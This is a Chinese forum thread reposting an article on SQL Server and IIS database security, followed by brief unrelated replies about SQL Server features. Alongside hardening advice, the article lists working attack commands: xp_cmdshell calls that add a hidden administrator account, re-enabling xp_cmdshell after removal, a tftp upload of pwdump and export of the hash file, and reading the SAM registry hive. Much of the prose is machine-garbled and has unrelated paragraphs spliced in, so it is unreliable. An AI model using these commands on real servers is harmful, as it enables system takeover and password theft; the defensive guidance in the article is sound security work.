仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 656|回复: 7
打印 上一主题 下一主题

[学习教程] MYSQL教程之调剂重心-从IIS到SQL Server数据库平安...

[复制链接]
第二个灵魂 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:25:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
那时候Sybase已经诞生了6年的时间。至于其他值得关注的开源数据库,PostgreSQL将在2009年达到20岁的生日。虽然MySQL并不是市场上最年轻的数据库,但是却有更多成熟的数据库可供我们选择。从codered到nimda等,一年夜堆蠕虫把本来必要野生使用的毛病都酿成了程序主动使用了,人人还想往手工操纵这些IIS毛病么?让我们调剂重心,往看看服务器经常使用的数据库吧。一样平常网站都是基于数据库的,出格是ASP、PHP、JSP如许的用数据库来静态显现的网站。良多网站大概多注重的是操纵体系的毛病,可是对数据库和这些剧本的平安老是疏忽,也没有太多注重。
从最对照广泛的剧本成绩入手下手,这些都是老话题了,人人能够参考Hectic写的《关于数据库的复杂进侵和恶棍损坏,以天融信做例子》,该文章对从SQL剧本成绩说得十分具体。关于剧本平安的办理,也能够经由过程过滤来完成,能够参考我之前写的。关于ASP来讲,可使用上面这个过滤函数:
FunctionFilter_SQL(strData)
DimstrFilter
DimblnFlag
Dimi
strFilter=",;,//,--,@,_,exec,declare"必要过滤的字符,能够本人增加,","是分开符
blnFlag=Flase过滤标记,假如发生过滤,那末就是真

DimarrayFilter
arrayFilter=Split(strFilter,",")
Fori=0ToUBound(arrayFilter)
IfInstr(strData,arrayFilter(i))>0Then
blnFlag=True
ExitFor
EndIf
Next
IfblnFlagThen
Response.Redirect"wrong.asp"
当发明有过滤操纵时,导向一个预定页面。归正一般会见用不到的毗连哀求,总不是功德情。
Else
Filter_SQL=strData
EndIf
EndFunction
关于MSSQLServer数据库来讲,平安成绩不单单范围在剧本上了。“天杀的微软”的体系性很强,全部基于WINDOWS体系的使用都有很强的联系关系性,对SQLServer来讲,基础能够把数据库办理和体系办理同等起来了。SQLServer默许的办理员帐号“sa”的暗码是空的,这给多半NT服务器发生一个平安毛病。小榕的“SQLRCMD”,就可以够使用取得的数据库办理员帐号实行体系命令。
在SQLServer中有良多体系存储历程,有些是数据库外部利用的,另有一些就是经由过程实行存储历程来挪用体系命令。
体系存储历程:xp_cmdshell
就是以操纵体系命令行注释器的体例实行给定的命令字符串。它就详细语法是:xp_cmdshell{command_string}[,no_output]
xp_cmdshell在默许情形下,只要sysadmin的成员才干实行。可是,sysadmin也能够授与其他用户这个实行权限。在初期版本中,取得xp_cmdshell实行权限的用户在SQLServer服务的用户帐户中运转命令。能够经由过程设置选项设置SQLServer,以便对SQLServer无sa会见权限的用户可以在SQLExecutiveCmdExecWindowsNT帐户中运转xp_cmdshell。在SQLServer7.0中,该帐户称为SQLAgentCmdExec。如今关于SQLServer2000,只需有一个能实行该存储历程的帐号就能够间接运转命令了。
关于NT和WIN2000,当用户不是sysadmin组的成员时,xp_cmdshell将摹拟利用xp_sqlagent_proxy_account指定的SQLServer代办署理程序的代办署理帐户。假如代办署理帐户不克不及用,则xp_cmdshell将失利。以是即便有一个帐户是master数据库的db_owner,也不克不及实行这个存储历程。
假如我们有一个能实行xp_cmdshell的数据库帐号,好比是空口令的sa帐号。那末我们能够实行如许的命令:
execxp_cmdshellnetuserrefdom123456/add
execxp_cmdshellnetlocalgroupadministratorsrefdom/add
下面两次挪用就在体系的办理员组中增加了一个用户:refdom
当我们取得数据库的sa办理员帐号后,就应当能够完整把持这个呆板了。可见数据库平安的主要性。
上面这些存储历程都是对Public能够实行的:
xp_fileexist,用来断定一个文件是不是存在。
xp_getfiledetails,能够取得文件具体材料。
xp_dirtree,能够睁开你必要懂得的目次,取得一切目次深度。
Xp_getnetname,能够取得服务器称号。
另有能够操纵注册表的存储历程,这些不是对Public能够实行的,必要体系办理员大概受权实行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread(对Public能够实行)
Xp_regremovemultistring
Xp_regwrite

SQLServer的平安设置
除随着微软打满一切补钉外,还必要增强数据库的平安。
起首,你必要增强象sa如许的帐号的暗码,跟体系帐号的利用设置类似,一样平常操纵数据库不要利用象sa如许的最高权限的帐号,而利用能满意你的请求的一样平常帐号。
接着对扩大存储历程入手下手年夜屠戮,起首就是xp_cmdshell,另有就是下面那些一年夜堆存储历程,都drop吧,一样平常也用不着。
实行:
usemaster
sp_dropextendedprocxp_cmdshell
往失落guest帐号,制止非受权用户会见。
往失落不用要的收集协定。
增强对数据库上岸的日记纪录,最好纪录一切上岸事务。能够用上面的复杂DOS命令来检察日记:
findstr/C:"登录"d:MicrosoftSQLServerMSSQLLOG*.*
用办理员帐号按期反省一切帐号,是不是暗码为空大概过于复杂,好比上面的语句:
Usemaster
Selectname,Passwordfromsysloginswherepasswordisnull
用上面语句对一切帐号,反省对存储历程和扩大存储历程的实行权,防备不用要的实行权限分散:
Usemaster
Selectsysobjects.nameFromsysobjects,sysprotectsWheresysprotects.uid=0ANDxtypeIN(X,P)ANDsysobjects.id=sysprotects.id
增强数据库的平安长短常主要的,有的数据库服务器是和WEB服务器断绝开的,这就同MAIL服务器一样,数据库的日记大概就基础很少往检察,这将会成为办理员的一个忽略点。相似DNS、MAIL等等,数据库服务器常常成为各类进侵的跳板。
上面是一些关于数据库的问答和技能:
1、取得SA权限后,却不克不及实行xp_cmdshell存储历程怎样办?
答:多是已把xp_cmdshell等扩大存储历程删除,能够用这个存储历程把xp_cmdshell恢复。
sp_addextendedprocxp_cmdshell,xpsql70.dll
2、经由过程数据库用pwdump取得体系办理员暗码
先上传一个pwdump
tftp-iGETpwdump3.exepwdump3.exe
tftp-iGETlsaext.dlllsaext.dll
tftp-iGETpwservice.exepwservice.exe
pwdump3127.0.0.1outfile.txt
tftpPUToutfile.txtoutfile.txt
然后再用解密工具l0pht等等破解这些暗码。
3、从数据库读取体系办理员暗码。
能读出加密的暗码是NT的"administrator"帐号也不克不及做的,SQLServer能读出来是利用的“LocalSystem”帐号,这个帐号比administrator更高一级。可使用上面这个存储历程。不外读出来的暗码是经由加密后的,然后再解密吧。
xp_regreadHKEY_LOCAL_MACHINE,SECURITYSAMDomainsAccount,F
固然,数据库服务器的平安和缺点另有良多,还必要更多的研讨。我对数据库的进修仍是起步阶段,限于本人的程度,下面的不免有错,接待人人斧正和指教。假如你有更多关于数据库的平安材料大概疑问,接待接洽我,Email:refdom@263.net

如果互联网服务提供商,支撑数据的云服务,或它们之间任一点网络被堵塞或中断,他们就会遇到与数据延迟或应用程序故障有关的问题。如果问题发生在企业内部,解决方案提供商可以排除故障找出原因。
海妖 该用户已被删除
沙发
发表于 2015-1-19 11:45:47 | 只看该作者
个人感觉没有case直观。而且默认的第三字段(还可能更多)作为groupby字段很容易造成新手的错误。
简单生活 该用户已被删除
板凳
发表于 2015-1-26 18:30:08 来自手机 | 只看该作者
我是一个ERP初学者,对于前台运用基本熟悉,但对于后台SQLServer的运用一点也不懂,特想学习下相关资料。至少懂得一些基本的运用。希望各位能给于建议,小弟再谢过!
再现理想 该用户已被删除
地板
发表于 2015-2-10 08:12:01 | 只看该作者
始终遗憾SQLServer的登陆无法分配CPU/内存占用等指标数。如果你的SQLServer给别人分配了一个只可以读几个表的权限,而这个家伙疯狂的死循环进行连接查询,会给你的系统带来很大的负担。
不帅 该用户已被删除
5#
发表于 2015-3-1 04:31:14 | 只看该作者
分区表是个亮点!从分区表也能看出微软要做大作强SQLServer的信心。资料很多,这里不详细说。但是重点了解的是:现在的SQLServer2005的表,都是默认为分区表的。因为它要支持滑动窗口的这个特性。这种特性对历史数据和实时数据的处理是很有帮助的。
蒙在股里 该用户已被删除
6#
发表于 2015-3-10 12:49:50 | 只看该作者
代替了原来VB式的错误判断。比Oracle高级不少。
飘灵儿 该用户已被删除
7#
发表于 2015-3-17 07:12:19 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
小妖女 该用户已被删除
8#
发表于 2015-3-24 02:18:48 | 只看该作者
入门没那么困难,精通没那么容易
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 06:32

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表